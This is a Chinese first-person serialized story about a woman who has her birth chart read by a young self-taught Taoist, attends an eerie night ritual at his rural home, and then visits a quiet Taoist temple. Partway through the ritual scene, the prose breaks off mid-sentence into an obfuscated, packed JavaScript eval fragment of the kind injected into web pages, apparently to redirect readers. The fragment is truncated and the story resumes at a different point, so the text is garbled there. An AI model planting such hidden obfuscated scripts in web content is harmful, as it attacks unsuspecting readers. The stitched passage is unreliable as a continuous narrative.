休息片刻,我们终于进入了今日见面的正题。墨宇找我要了我的生辰八字,说是要仔细排盘看一看。他拿出手机,点开一个专业的排盘软件,输入数据,屏幕上瞬间布满了密密麻麻的天干地支和神煞名称。他凝神细看,指尖偶尔划过屏幕,眉头时而微蹙,时而舒展,看得我坐在一旁,心也跟着七上八下,仿佛等待宣判的囚徒,生怕有什么不得了的大劫正等着我。 沉默在空气中蔓延,只有窗外偶尔传来的车声点缀着这片寂静。半晌,他终于抬起头,目光锐利地看向我的眼睛,语气带着一种奇特的笃定: “楠木姐,从你的命盘来看,你修行的话,缘分还是很深的,资质也不错呢。” 这话让我一愣,还没来得及细想,他又继续说道:“不过,你眼下确实有一个关口需要化解一下,否则后续的阻碍会比较多。方便的话,把你先生的八字也给我看看吧。” 我疑惑地挑眉:“你怎么知道我成家了?” 我似乎并未在电话里提及阿飞的具体情况。 他指了指手机屏幕,语气理所当然:“八字里看出来的呀,信息都很明显。” “好吧,”我将信将疑,“有这么神奇吗?” 一边说着,一边还是把阿飞的生辰八字报给了他。 他低头同样排盘查看,这次看得更快些。看完后,他抬起头,神色比刚才更严肃了几分:“楠木姐,你先生和你,走的运程相似,遇到的也是同一个类型的关口。如果想一起化解,可以找我,正好可以和千尘姐的法事安排在同一期进行,也省事。不过这事儿不急,你们夫妻俩好好商量一下,决定好了再告诉我。到时候,我再告诉你们具体需要准备些什么东西。” 我点点头,心里五味杂陈,既有对所谓“关口”的隐隐担忧,又有了一丝找到方向的踏实感。“谢谢你,墨宇。我回去一定和他好好商量一下。” 我想了想,又说,“顺便我也问问其他朋友,看他们有没有需要一起做的。” “嗯,可以。”墨宇点点头,收起手机,站起身,“时候也不早了,我该回去了。下次有空我们再见。记得,”他特意叮嘱道,眼神里带着不容置疑的认真,“勤加练习,莫要偷懒!” 我送他到诊所门口,看着他清瘦的背影消失在街角,这才缓缓吐出一口气。低头看了看自己的手,仿佛还能感受到刚才练习功法时那股微弱却真实流动的热意。露额头晒太阳?练功?化解关口?这一切听起来依旧有些玄乎,但心底某个角落,却仿佛有颗被埋藏许久的种子,终于感受到了一丝裂隙里透进来的光。 我转身回到诊所,手指无意识地撩起了额前厚重的刘海。 或许,是时候做出一些改变了。 6. 走阴过关(上) 下班回到家,屋子里还残留着白日里阳光烘焙过的暖意。我站在洗手间的镜子前,盯着额前那排跟随了我二十多年的厚重齐刘海,它像一道熟悉的屏障,隔开了外界,也似乎藏住了许多怯懦。犹豫片刻,我终于还是从抽屉里翻出一个最简单的黑色发夹,笨拙地将刘海别了上去。额头上久未见光的皮肤显得格外白皙,甚至有些脆弱,整个面庞似乎都因此陌生了几分。我有些不自在地拨了拨鬓角的碎发,心里默念:为了健康,晒就晒吧。 等到阿飞拖着疲惫的步子进门,我立刻迎上去,将白天墨宇的话,连同那套“关口”的理论,一五一十地转述给他。阿飞靠在沙发上,闭着眼揉了揉眉心,他对这些玄之又玄的事情,向来是秉持着“敬而远之,不信其无”的态度。沉默了一会儿,他睁开眼,目光落在我被夹起的刘海上,笑了笑:“你都开始‘吸收日月精华’了,我还能拖后腿吗?既然他说没什么坏处,那……就去试一试吧,就当陪你。” 得到他的支持,我心里踏实了不少。接着,我又想起另一位朋友——李姐。我们是难得的忘年交,她比我大了整整二十岁,却不知为何,初次见面便觉投缘,从生活琐事到人生感悟,总能聊到一处去。认识她时,她女儿还是个扎着双马尾的小学五年级学生,如今竟已研究生毕业,踏入社会了。我拨通李姐的电话,电话那头传来她温和沉稳的声音。我大致说了认识一位小道士,准备做些祈福法事,问她有没有兴趣一同参与。 李姐在电话那头沉吟片刻,语气里带着好奇与一丝为人母的牵挂:“听起来挺有意思的。我去看看,顺便……能不能帮我女儿也求个平安?她刚工作,外面竞争大,压力也大,我这当妈的,总想为她做点什么,求个心安。” 这样一来,我们这边就有四个人了。我随即联系千尘,千尘爽快地说:“我这边没问题,时间你定就好。我把知南也叫上,她肯定感兴趣。” 大致确定下来后,我深吸一口气,拨通了墨宇的电话。 “墨宇,我这边确定好了,除了我们夫妻和千尘的法事,还要再加一个,我一位朋友想帮她女儿解厄消灾,祈求平安。另外,还有个朋友好奇,想跟着去看看,方便吗?” 墨宇的声音依旧平静:“这些都没问题,只是多耗费些时辰功夫。我把需要准备的东西先发给你,你准备妥当后再联系我,我们最终确定日子。办法事的位置在我老家,稍后我把定位发你。” “对了,”我赶紧补充,暗骂自己之前大意,“法事的费用是多少?” 电话那头顿了顿,传来他淡然的声音:“随缘就行,看着给。我先发需要准备的东西给你,看不懂再问我。”说完,他便挂了电话。 没过多久,微信提示音响起,一份简洁却透着古拙意味的清单跳了出来: 1. 两只三年以上的大公鸡,切记,不要阉割过的。 2. 一卷红线。 3. 一块大红布。 4. 屋顶的瓦片6片。 5. 大量的香烛纸钱、黄表纸。 6. 一瓶朱砂液。 “这些东西你们自行准备,其余的我这里都有。准备好后联系我。” 我逐字看完,心里掂量着。红线、红布、香烛纸钱这些还好,城里总能买到。最难搞的,恐怕是那两只符合要求的大公鸡和屋顶的瓦片。这年头,在城市里想找没被阉割过的三年大公鸡,简直如同大海捞针,更别提屋顶瓦片了。 无奈之下,只能求助“万能的妈妈”。我拨通电话,小心翼翼地把清单念给她听。妈妈在电话那头疑惑地问:“你要这些东西做什么?怪吓人的。” 我含糊地解释:“是……破关消灾用的,找了位师傅看看。” 妈妈对于这类事情,向来是“宁可信其有,不可信其无”,虽觉诧异,但为了女儿,还是应承下来:“行吧,我明天就去你乡下舅舅家问问,看能不能找到。” 心头两块大石落地,其余物品我迅速通过网购解决。等待了两天,妈妈打来电话,说东西都备齐了,让我抽空去舅舅家拿。看着角落里网购到货的香烛纸钱和红布,我兴冲冲地给墨宇发去消息:“东西都准备齐了,可以约时间了!” 墨宇很快回复,发来一个偏僻的乡村定位,和一个具体的日期:“按时来就行。” 我把信息和定位分别转发给千尘、知南、李姐和阿飞。到了约定那天,我们五人一行,开着车,带着大包小包的“装备”,以及那两只在纸箱里偶尔发出“咕咕”声、彰显存在感的大公鸡,朝着墨宇的老家出发。 抵达时已是上午十一点左右。墨宇家是典型的农村两层自建房,白墙灰瓦,带着一个宽敞的院子。他的父母闻声迎了出来,是那种一眼就能看出的、淳朴憨厚的农民,脸上带着被岁月和阳光刻画的痕迹,笑容有些拘谨,却极为热情。看到我们提着大包小包,还抱着两个扑腾的纸箱,他们连忙上前帮忙。 “东西放哪里?”我环顾四周,问道。 墨宇从屋里走出来,依旧是那身素净的打扮。“跟我来。”他引着我们踏上通往二楼的楼梯。 二楼的光景与一楼截然不同。一上楼便是一个极其空旷的大厅,几乎没有任何家具,只有光洁的水泥地面,显得异常整洁,也透着一丝清冷。大厅外连着一个阳台,楼梯右手侧有两间关着门的卧室和一个卫生间。他示意我们把东西放在大厅墙角,“晚上法事就在这里做,比较方便。” 他接着安排:“中午先吃饭,饭后需要大家一起写些法事要用的文书。” 我们点头应下,下楼用餐。午饭很丰盛,是墨宇父母精心准备的农家菜。席间,两位老人话不多,只是不停地劝我们多吃菜,那份质朴的热情让人感动。然而,我也敏锐地察觉到,墨宇与他父母之间,似乎隔着一层无形的薄膜。他们看向儿子的眼神,有担忧,有无奈,偶尔会低声念叨几句: “儿子啊,总搞这些神神叨叨的做什么……” “找个正经工作,谈个朋友,安稳下来多好……” “我们也不图你大富大贵,平平安安就行……” 墨宇对于这些劝说,只是埋头默默吃饭,既不反驳,也不应承,用沉默筑起了一道墙。我们作为外人,不便插话,也只能专注于眼前的饭菜,气氛微妙的有些沉闷。 饭后,墨宇对他父母交代:“爸,妈,晚上你们在一楼休息,不要上二楼,楼上……有事。” 这时我才恍然,他父母卧室都在一楼,这空旷的二楼,是墨宇一人独居的空间。难怪如此寂寥,一个人,确实不需要太多物件。 下午,我们被“抓了壮丁”。墨宇给我们分配了任务:首先是我、阿飞、千尘和李姐,各自填写自己的“表文”。那是一种黄纸印就的文书,格式固定,类似于填空题,需要写下自己的姓名、生辰八字,以及祈福消灾的愿望。知南本是来看热闹的,也没能幸免,被墨宇塞了一叠黄纸,让她帮忙折叠牌位和用来装表文的表筒。 我们趴在二楼大厅临时拼凑的“工作台”上,埋头苦写。我一边对照着样例小心翼翼地填写,一边忍不住小声吐槽:“我还以为人来就行了,合着是来当免费劳动力的?你这些怎么不提前准备一下啊?(??-﹏-`;)” 墨宇正在整理香烛,闻言回头,不好意思地挠了挠头,笑道:“人多力量大嘛,我 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墨宇的脸瞬间涨红,梗着脖子,强作镇定地“哼”了一声:“我、我还在练毛笔字呢!你们谁写得好,谁来写呗!” 知南笑得眼泪都快出来了,接过毛笔:“还是我来写吧,你的字,我怕祖师爷和各方神明不认识,耽误了正事,哈哈哈哈哈哈!” “我终于知道你为什么要让我们自己写表文了!”我在旁边继续补刀,乐不可支,“哈哈哈哈,没想到啊墨宇,你一身本事,弱点竟然是写字!哈哈哈哈!” 墨宇被我们笑得无地自容,却又无可奈何。他摇摇头,决定不再理会我们的“嘲讽”,转而将我和阿飞单独拉到大厅另一侧,神色恢复了之前的严肃。 “好了,别笑了。”他正色道,“你们两个今天的法事最不好做,流程有些特别,我要先跟你们讲清楚,演示一遍,免得到时候出问题。” 见他如此认真,我和阿飞也立刻收起了玩笑的心思,专注地看着他。 只见他从楼下搬上来一条农村常见的长条板凳,稳稳地放在大厅中央。他站在板凳旁,一边说一边比划: “楠木,你和你先生的过程是一样的,仔细看,仔细听。”我点点头,目光紧随他的动作。 “首先,你需要用这块大红布,”他指了指旁边叠放着的鲜艳红布,“蒙住头顶,盖住脸。” “然后,”他弯腰,作势抱起一个虚拟的物体,“抱着一只大公鸡——记住,要抱稳。” “站上这个长条板凳。”他模拟着站上去的动作,脚下虚踩。 “接着,我会给你一根红线。你右手紧紧握住一头,另一头由我握住。我会站在你的右侧,带着你,一步一步,走完这条长板凳。” 他一边说,一边模拟着牵引的动作,在狭窄的板凳上缓慢移动。 “走完之后,从板凳上下来,记住,下来的时候,要用脚,把事先放在地上的这三块瓦片,”他用脚尖虚点了一下地面,“踩碎。” “最后,从右侧绕回起点。这样,整个关就算是过了。听懂了吗?” 我看着他演示完这一套流程,心里觉得似乎并不复杂,那股紧绷的神经不由得放松了些,笑道:“听着不难嘛,看你那么严肃的样子,我还以为多吓人呢。” 他又转头看向阿飞:“飞哥,你明白了吗?” 阿飞在一旁也点了点头,表示记下了。 墨宇看着我们俩轻松的样子,欲言又止,最终只是深深看了我们一眼,轻声说: “记住流程就好。到时候……跟紧我,无论听到什么,感觉到什么,都不要回头,不要停下,也千万别掉下来…” 7. 走阴过关(下) 我压低声音问身旁的墨宇:“你刚才在念叨些什么呢?” 墨宇微微摇头,目光依旧停留在前方的供桌,轻声道:“没什么,只是希望一切顺利。” “放心,问题不大。”,我保证道,内心深处将这仪式视为一种高级的心理安慰,并不真的期待它能带来什么实质改变,自然也就没有多少紧张感。万万没想到,这场发生在乡村二楼的法事,会像一个隐秘的岔路口,将我未来的人生,引向一条始料未及的、迷雾重重的道路。 大家忙活了一个下午,在说笑打闹间,总算将法事所需的一应物品准备妥当。匆匆吃过晚饭,晚上九点左右,仪式正式开始了。 供桌设在上楼梯后左边靠墙的位置,我们面朝供桌跪下,背对着紧闭的阳台门。整个二楼门窗紧闭,几乎不透风。因家里没有拜垫,墨宇从他房间里拖出两床旧棉被,对折成长条铺在地上,免得我们跪久了膝盖受罪。 千尘只是观礼,不直接参与法事核心部分,墨宇便安排她负责烧纸和上香。除了最初请神时需要一同跪拜,其余时间她可以自由活动,但要确保香火不断,纸钱则听他指挥再烧。 千尘闻言,挑眉打趣道:“哟,小道士挺会指挥人嘛。你让我上香,只怕他们……收不到咯。” 我听着一头雾水,直接问道:“为什么收不到?” 千尘笑了笑,那笑容里带着点难以言喻的意味:“我从小就这样,只要去有香火的地方,那香烟啊,就自己跟着我跑。” 我将信将疑,只当她是在说笑。墨宇也没接话,只是深深看了千尘两眼。 一切安排就绪,法事开始了。我们按顺序分两排跪下:千尘、知南、李姐在第一排,我和阿飞在第二排,墨宇独自立于最前方。他点燃香烛,取出一本包着红布的经书,开始了诵唱。 按照事先交代,他跪我们就跪,他起我们就起。说实话,我完全听不懂他唱诵的内容,那调子古朴甚至有些晦涩,并不悦耳,我心里还暗自嘀咕:“这经韵……可真不算好听。”(后面才发现单纯是他五音不全) 随着诵经声持续,我们一遍遍跪拜。不知过了多久,大概十几分钟,我跪着时,忽然感到背后一阵凉风袭来,同时,楼梯方向清晰地传来了“咚、咚、咚……”的多重脚步声,似有一群人正在上楼! 我心头一紧,但跪着不敢抬头,心想或许是他父母上来取东西,便没在意。等到起身的间隙,我迅速瞥了一眼楼梯口——空无一人!我又回头确认,阳台门依旧紧闭。 那风从哪里来?脚步声又是怎么回事?满腹疑团在心中翻滚,可墨宇的诵经声未停,便也只好强压下疑问。 渐渐地,原本空旷的大厅似乎变得“拥挤”起来,空气也莫名有些滞闷。我努力自我安慰,肯定是香烛点得太多,又不通风,缺氧了。对,一定是这样。我试图用科学来解释这些怪象,心神也因此有些涣散。 就在这时,墨宇示意我们每人上前敬三柱香,磕头。随即告诉我们,请神环节已结束,接下来是知南和李姐的祈福上表阶段,与我关系不大,我的注意力就看向了千尘。 千尘站到了供桌右侧,也就是上楼梯左手边的位置,开始执行她的任务。因着她之前关于“吸香火”的戏言,我忍不住多看了她几眼。这一看,却让我愣住了——那些原本因无风而笔直向上的香烟,此刻竟真的如同被无形之力牵引,缕缕袅袅地朝着千尘所在的方向飘去! 千尘察觉到我的目光,冲我莞尔一笑,低声道:“看吧,我没骗你。”说着,她像是为了证明,刻意换到了供桌左边。然而,她站定没多久,那飘散的烟雾再次固执地转向,依旧萦绕在她周身。 这现象无法用常理解释,而且自她站定后,我注意到香烛燃烧的速度快得惊人,原本还担心买多了用不完,此刻却开始忧虑是否够用了。 我甩甩头,定了定神,看向身旁的阿飞,他倒是面色如常,只是安静地看着墨宇为知南和李姐处理表文。 很快到了烧表文的阶段。只见知南用一个托盘托着直立的表筒,墨宇用打火机点燃顶端。突然,“轟”的一声轻响,表筒炸开一小团火光,火苗猛地蹿高了一截。随着表筒燃烧,这样的爆燃又发生了两次。我第一次见这场面,心里暗自琢磨:是不是表筒里加了什么特殊成分,才会这样? 墨宇随后将一个东西抛在地上,发出清脆的响声,接着便指挥千尘开始烧纸。李姐的流程大致相同,只是她的表筒爆燃声小一些,火光也只是闪动了几下。 轮到阿飞时,一切也很顺利。 最后是我。我跪捧着表筒,心里杂念丛生:会不会烧到手?会炸几下?然而,出乎意料的是,我的表筒异常“安静”,从头到尾,一声不吭,就那么沉默地化为了灰烬。 我一脸茫然,心想或许是表筒受潮了吧。但墨宇的脸色却瞬间凝重起来。他走到我身边,再次抛掷那个能发出脆响的东西。这时我才看清,那是两片黑色的、形状像切开的竹笋一样的木块(后来才知道这叫“茭杯”)。他连续掷了好几次,每次看完结果,眉头就锁紧一分。 最后,他站起身,深深地看了我一眼,什么也没说,只示意我上香磕头,然后回到原位。我心里莫名,为什么我的流程和别人不一样?但见他神色严肃,也不敢多问,依言照做。 知南和李姐的法事已顺利完成,接下来就是我和阿飞的“过关”环节了。此时已是凌晨一点左右。墨宇清了场,让她们三位先去一楼休息,吃点宵夜,不要留在二楼。 空旷的二楼只剩下我们三人。墨宇看向我们:“还记得流程吧?按白天演练的来。” 我让阿飞先上,自己在一旁观摩。阿飞也不多言,抱起一只大公鸡,蒙上红布,在墨宇的牵引下,稳稳地走完了长凳,走完跳下来瞬间脚下瓦片应声而碎,在寂静的夜里格外清晰。 看着他顺利通过,我深吸一口气,告诉自己这很简单,几分钟就好。于是,我抱起了另一只大公鸡。墨宇仔细地为我蒙上红布,扶我站上长凳,将红线的一端塞进我右手。 站上长凳的瞬间,视野被红布彻底隔绝,只能看到脚下窄窄的木板,半米的高度让我有些心慌,而几乎就在同时,怀里那只原本还算安分的大公鸡,突然疯狂地挣扎扭动起来!它发出极其凄厉、高亢的鸡啼声,那声音在万籁俱寂的深夜中显得无比诡异,我全身的汗毛瞬间倒竖! 我慌了神,站在凳子上不知所措,那公鸡力大无比,双爪又急又狠地蹬着我的手臂,猝不及防间尖锐的鸡爪子带着千斤坠般地重量牢牢地抓到手臂上,粗硬地鸡爪狠狠攥住皮肉,像两把生锈的小铁钳嵌进皮肤,伤口处温热的血液随即涌出,接着那带着戾气的尖喙啄向手腕,湿热的痛感混着羽毛扑面而来,它扑腾地翅膀如巨大的蒲扇,不停地扇向我的头部。就算如此,我右手依然死死攥着那根红线,仿佛它是唯一的救命稻草。 墨宇在旁边低喝:“稳住!别慌!往前走!” 我强自镇定,试图迈步,可刚一动,脚下的长条凳竟晃了晃,继而猛然间剧烈地左右摇摆着打晃,凳面倾斜的角度随着每次的左右摇晃逐步加深,像风浪里没锚的小船,每一次晃动都带着迟滞的回弹,凳腿木头接缝处发出粗糙的摩擦声,我勉强着向前微挪了两步,摇晃愈发猛烈,“吱呀……咯吱……咯吱……咯吱……”,晃动的回弹使长条凳连同地面跟着颤了颤,回声与鸡啼声在屋内荡开。“呼呼……”,屋内突起了阴风,卷着燃尽的纸灰擦过凳脚,与凳子的摇晃声缠在一起,掠过我的小腿,“嘻嘻嘻……嘻嘻嘻……”,隐约闻到一阵阵的嬉笑声,似近似远,时高时低地飘过来,脚下的凳子晃得更没了章法,我提着心,整个人依然死死的抱着那只疯狂乱扑腾的公鸡,浑身冰凉止不住的颤抖。这到底是怎么一回事,为何这凳子会自己摇晃……此时的我已无法思考,只能艰难的稳住身形,怕下一秒就随着这乱节奏的摇晃栽歪下去。突然,小腿一沉,想被块冰坨死死的箍住——那触感凉得刺骨,又裹着滑腻的湿意,粗糙的掌纹磨得皮肤发涩,几根指甲似的硬尖不锋利却带着蛮劲,寒气顺着毛孔往里钻,顺着小腿爬向膝盖,连带着腿肚子都发紧发麻,我想抬脚却像被钉在原地,那冰凉的力道越收越紧,仿佛要攥碎骨头。我慌得猛蹬腿,脚尖使劲往前勾,可那手像生了根似的粘在腿上,越挣扎它抓得越紧,湿冷的触感顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李姐在一旁柔声劝道:“楠木啊,先别想那些了,忙活了大半夜,都累了,先下楼吃点东西,暖暖身子。” 我哭了很久,直到墨宇走过来,声音虽然疲惫却带着一丝安抚:“别哭了,还有其他办法的。只是说明,这个‘关’,外力无法直接帮你渡过,需要你自己来。” 听到这话,我那崩溃的情绪才像找到了一个泄洪的闸口,渐渐平息下来。 我们下楼草草吃了点宵夜,凌晨三点左右,又回到二楼做收尾工作。一切归于平静后,我终于将心中的疑虑尽数问出:那诡异的脚步声、莫名的拥挤感、公鸡为何半夜凄厉打鸣、长凳为何剧烈摇晃,还有千尘口中的“小鬼”究竟是怎么回事? 除了阿飞,知南和千尘都证实,她们也听到了清晰的上楼脚步声,同样感觉到了那种无形的“拥挤”。至于公鸡打鸣等细节,墨宇似乎不愿多谈。 千尘看着墨宇,轻声说了一句:“你带她走阴了吧?” 墨宇猛地抬头,注视着千尘:“你懂这些?你看得到?” 千尘点了点头:“我先天就会一些法,也是天生阴阳眼。刚才你请神时,来了很多兵马,还有……一些来看热闹的祖师。” 墨宇默认了,转而看向我,语气带着歉意和无奈:“楠木姐,你的事,外力确实难以强行干预。我到时候推荐你几本经书,你可以试着抄写,有消灾解厄的功效。你这个关口,终究需要你自己去面对。你上表时,只有天官应了,地官、水官……都示意让你自行历练,我也无能为力。” 此时我的心情已经平复了许多,深吸一口气,扯出一个笑容:“没事,我想得开。以前很多难关,我也是自己扛过来的。兵来将挡,水来土掩吧!” 知南和李姐都拍了拍我的肩膀,无声地给予支持。 将所有首尾处理干净,带上那两只经历了惊魂一夜的大公鸡,我们在凌晨五点多,披着将明未明的熹微晨光,踏上了归途。车子行驶在寂静的乡村公路上,我回头望去,墨宇家的二层小楼渐渐隐没在黎明前的黑暗中。那一刻我明白,有些路,注定只能一个人走。而这场失败的法事,或许正是那条孤独之路的起点。 8. 初去道观 回到家时,天边已泛起微光。身体像是被抽干了力气,精神和肌肉都传递着极度的疲惫,摔进床铺意识迅速模糊。然而,就在即将沉入睡眠的前一刻,枕边的手机传来嗡鸣声,强撑着沉重的眼皮,一看,居然是墨宇发来的消息,“楠木姐,你有空的话抄一抄道教的《北斗经》《三官经》,这两本经书是可以消灾、解厄、祈福的,对你有帮助。这些经书你可以网上去请。如果你还有兴趣的话,也可以去酷狗音乐听一听孟圆辉道长的《玄门早课经》和《玄门晚课经》。” 字句清晰,建议明确。可我的大脑如同塞满了湿透的棉花,无法思考,也生不出太多感触。经文、宗教……这些词汇离我的世界太遥远了。即便刚刚经历了那样一个匪夷所思的夜晚,我潜意识里仍在负隅顽抗,试图用“过度疲劳”、“集体心理暗示”、“环境因素”等所有能想到的科学词汇来解释一切。随手回复了一个“好的”,手机从掌心滑落,瞬间就陷入了沉睡。 休息了一整天,第二天回到宠物医院,消毒水的气味和毛孩子们的叫声让我感觉回归了熟悉的现实。老板随口问起前一天“做法事”的情况,我像是找到了倾诉的闸口,带着几分残留的惊悸,将那夜的经历——诡异的脚步声、莫名的拥挤感、公鸡凄厉的啼鸣、长凳剧烈的摇晃,乃至千尘那句石破天惊的“有小鬼抱着你的腿”——尽可能生动地描述出来,内心深处,兴许还期盼着能从他们那里得到一个“合理”的解释,来抚慰依旧混乱的思绪。 老板听完,宽厚地笑了笑,拍了拍我的肩膀:“楠木,别想太多了,可能就是太累了产生的幻觉。这世上哪来那么多神神鬼鬼的。” 一旁的同事小凡正在给一只柯基梳理毛发,闻言抬起头,犹豫了一下,插话道:“楠木姐,你这么一说……我好像也遇到过类似的事儿。” 我的好奇心立刻被勾了起来:“嗯?怎么回事?” 小凡放下梳子,回忆着说:“就是前阵子,有天凌晨一两点,我从网吧出来回家。走到那个十字路口,有个老太太,穿着深色的衣服,站在路灯影子底下,朝着我招手问路。我那时困得迷糊,也没多想,就给她指了指。刚走出几步,心里就咯噔一下,觉得不对劲——那地方前后都没住户,大半夜的,一个老太太独自在那儿问路?我猛地一回头……你猜怎么着?路口空荡荡的,连个鬼影子都没有!我当时吓得汗毛都竖起来了,拔腿就往家跑!不过……后来我也想,可能是我熬夜熬花了眼,或者她刚好走到阴影里去了?”,他的话语末尾带着不确定的疑问,显然自己也在寻求一个解释。 “可能……真是幻觉吧。”我附和着,心里却不由自主地将那夜二楼的脚步声与小凡口中瞬间消失的老太太重叠起来。还想再深入讨论些什么,店里恰好来了急诊,话题就此打断,大家各自忙碌起来。 接下来的几天,生活看似恢复了平静。但每当夜深人静,那晚的片段便会不受控制地在脑海中复盘。冰冷的触感、凄厉的鸡鸣、摇晃的长凳、千尘锐利的眼神、墨宇凝重的表情……每一个细节都清晰得可怕。我试图为它们一一贴上“科学”的标签,却总感觉有什么东西,顽固地存在于这些解释之外。心中积攒了越来越多的疑问,想找墨宇问个明白,却总被日常的琐碎和工作耽搁。 据上次的法事大概过了一周的时间,我正在给一只猫咪剪指甲,手机震动,屏幕上跳出墨宇的名字:“楠木姐,在店里吗?我今天刚好进城,过来找你玩儿。” 心下一动,立刻回复:“在,你来吧,没问题,刚好今天不忙。” 一种带着对未知情况好奇的期待迫切涌了上来。阿飞对那晚的感受平淡,知南和我一样试图用逻辑解构,李姐秉持“宁可信其有”的态度但无法提供答案,千尘则对此习以为常、语焉不详。唯有墨宇,他似乎站在那个神秘世界的门口,或许能为我指出一条清晰的路径。我打定主意,等他来了,一定要“严刑拷问”,弄个明白。 墨宇来时,依旧是一身素净的打扮。他见到我,习惯性地先端详我的脸,那双清亮的眼睛里带着审视,片刻后,他微微点头:“嗯~刘海扎上去后,你面色好了很多呢,有点红润了。有在练习金刚功吗?我发你的经文,抄了吗?” 我有些心虚地嘿嘿一笑,赶紧转移话题:“嘿嘿,这,这不是最近太忙了吗……哈哈……金刚功偶尔有练,抄经嘛,那个~~~啊!有空我就抄!有空我就抄!哈哈哈……来来来,我们去楼上说,上面安静,我有很多事儿想问你!” 说着,便热情地引他上了二楼的诊室。 刚坐下,我就迫不及待地抛出了第一个问题:“你当道士这件事儿,你家很反对吗?那天你爸妈好像……并不希望你做这些事儿呢。” 墨宇沉默了片刻,脸上闪过一丝复杂的情绪,随即坦然道:“其实,我也不是真正意义上的道士。我没有所谓的道士证,也没有正规地去宫观拜师学习过。” “啊?”我更疑惑了,“那你怎么会这么多东西呢?自己学的吗?” “不是自学。”他摇摇头,语气平静,“我是从小就能看到那些东西,也能听见他们的谈话。我会的法事、科仪这些,大多是有人在梦中教我,这种传承方式,也叫‘阴传’。八字、占卜这些,倒是有一位师父指点过,但也没有正式举行拜师仪式。至于我父母……”他轻轻叹了口气,带着超越年龄的淡然,“唉,这一世也是亲缘一场,来了因果,这个就不多说了。” “因果”,这个词让我心头微震。我点点头,继续追问:“那……这个世界上,真的有鬼神存在吗?” 墨宇深深地看了我一眼,反问道:“你不是已经经历过了吗?还需要我说?这世上无法用科学解释的事情很多,信与不信,你自己慢慢感受吧。” “但是我就是好奇啊!为什么?”我有些执拗,“虽然我亲身经历了,可我并没有亲眼看见啊!所有的感觉,会不会是我自己过度紧张导致的幻觉呢?”我试图做最后的挣扎。 墨宇只是看着我,不再言语,气氛一时有些尴尬。 我只好换个话题:“那你以后,会去当正规的道士吗?” 听到这话,墨宇的眼睛里瞬间焕发出一种光彩,他肯定地点点头:“这是肯定的。我想学的东西还有很多很多——符箓、丹道、中医,我都很想深入钻研!” “什么?中医,画符我还能理解……但是丹道?”我惊讶地睁大眼睛,“这不是小说和电视剧里才有的东西吗?人真的会有内丹?不会是……结石吧?哈哈哈哈哈。”我半开玩笑地说道,试图冲淡这话题带来的玄奇感。 “这些都是真实存在的。”墨宇的语气却很认真,没有丝毫玩笑之意,“之前教你的八部金刚功,本质上就是练‘炁’的入门功夫。” “练气?气功的气吗?”我问。 “不是呼吸的那个‘气’。”他一边说,一边用手指在桌面上清晰地写下一个字——“炁”。 “噢!这个字我知道!”我像发现了新大陆,“我在《一人之下》的动漫里看到过!龙虎山天师府!哈哈哈哈哈哈,没想到现实中还真有这个说法!可帅了!不过话说回来,当道士要学这么多吗?天天不得累死啊。” “道士,亦是有道之士。”墨宇的神情变得庄重起来,“学无止境。行医救人,修身养性,济世救民,积累功德,方是正道,才有可能……得道成仙。” “得道成仙……”我低声重复了一遍,嘟哝道,“听着就好麻烦,我可学不来,看看就好了。” “哈哈哈哈,”墨宇被我的样子逗笑了,“话别说太早。这样吧,我给你推荐一个道观,那边风景挺漂亮的,也没有被商业化,氛围很纯粹,你有空可以去看看,感受一下。” “道观?”我有些犹豫,“我之前去过我老家附近的一个观,还是寺庙来着,记不清了。反正我一进门就头晕,像发烧一样,走路都感觉飘乎乎的。从那以后,我就再也没去过了类似的场所了。” “嗯,你说的那种情况也有。”墨宇表示理解,“但我推荐的这个地方,我去过一次,感觉磁 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停好车,我和知南边走边聊,信步踏入第一座大殿。殿内的香火味很浓郁,正中供奉着一尊神像,面容威严,手中高举金鞭,凛然生威。我们虽不认识是哪位神祇,却也不由自主地被那股气势所慑,共同低声感叹了一句:“好威武啊!”然后恭敬地鞠了一躬,便小心翼翼地退了出来,继续向后走去。 又经过一座大殿,里面的神像神情肃穆的坐在一个宝座上,左右还有两名童子侍立。我们依旧只是驻足片刻,鞠躬示意,未做过多停留。走出殿门,眼前是一个极为开阔的青石广场,广场左右两侧似乎还有配殿,但都朱门紧闭,透着一股沉寂。我们也没敢贸然去推门探究。 “这地方真大啊!”我环顾四周,感叹道,“就是……也太冷清了点,连个道士的人影都没看见。” “嗯,”知南深吸了一口山间清冽的空气,“没人也好,难得清静。这里挺漂亮的,空气也特别干净,让人感觉很舒服。我们再往前走走看。” 我们穿过广场,前方是一座更为宏伟的大殿,匾额上写着“大罗宝殿”四个苍劲有力的大字。拾级而上,殿内光线柔和,香案上烟火寥寥。这时,我们才看到大殿侧面坐着一位穿着蓝色道袍的年轻女孩,正低头看着什么。 总算见到人了!我和知南对视一眼,走上前去,我客气地询问道:“小姐姐,请问一下,这边有道长在吗?” 那女孩闻声抬起头,看了看我们,礼貌地回答:“有什么事儿吗?师父最近出门云游去了,不在观里。” “没事儿没事儿,就是随口问问,谢谢啊。”我有些尴尬地笑了笑。其实我也没什么具体的事,只是下意识地想找个人说说话,打破这过于寂静的氛围。 和知南退出大罗宝殿,我们又在观内随意逛了逛。走到广场一侧时,发现立着一个公告栏。凑近一看,上面贴着观内住持的介绍和照片,是一位眉目严肃、留着胡须,颇有仙风道骨的老道长。旁边还有一个栏目,写着“招募长期义工”,下面附有观里的公众号和二维码。 我和知南对视一眼,都从对方眼中看到了跃跃欲试的光芒。 “申请义工?体验一下?”我提议道。 知南点点头,眼中带着兴趣:“可以体验一下!这里环境让人很放松,感觉不错。我们先申请,如果通过了,约上千尘一起来!” “嗯嗯,没问题!”我立刻拿出手机,扫描二维码,关注了公众号。 我们在观里又流连了片刻,这里殿宇森森,古树寂寂,虽然对道教的教义和神祇一无所知,但身处其中,确实有一种难以言喻的宁静和舒适感,与之前在其他寺庙头晕目眩的经历截然不同。因为不了解,也不知该如何参拜或游览,我们大致转了一圈后,便带着一丝新奇和满足离开了。 当时我们并未预料到,这次一时兴起的探访,以及那个随手关注的公众号,会为我们打开一扇怎样的大门,更不会想到,这座清冷的道观,将在我们未来的人生中,结下一段深远而难以割舍的缘分。命运的丝线,总是在不经意间,悄然缠绕。 9. 生活的转变 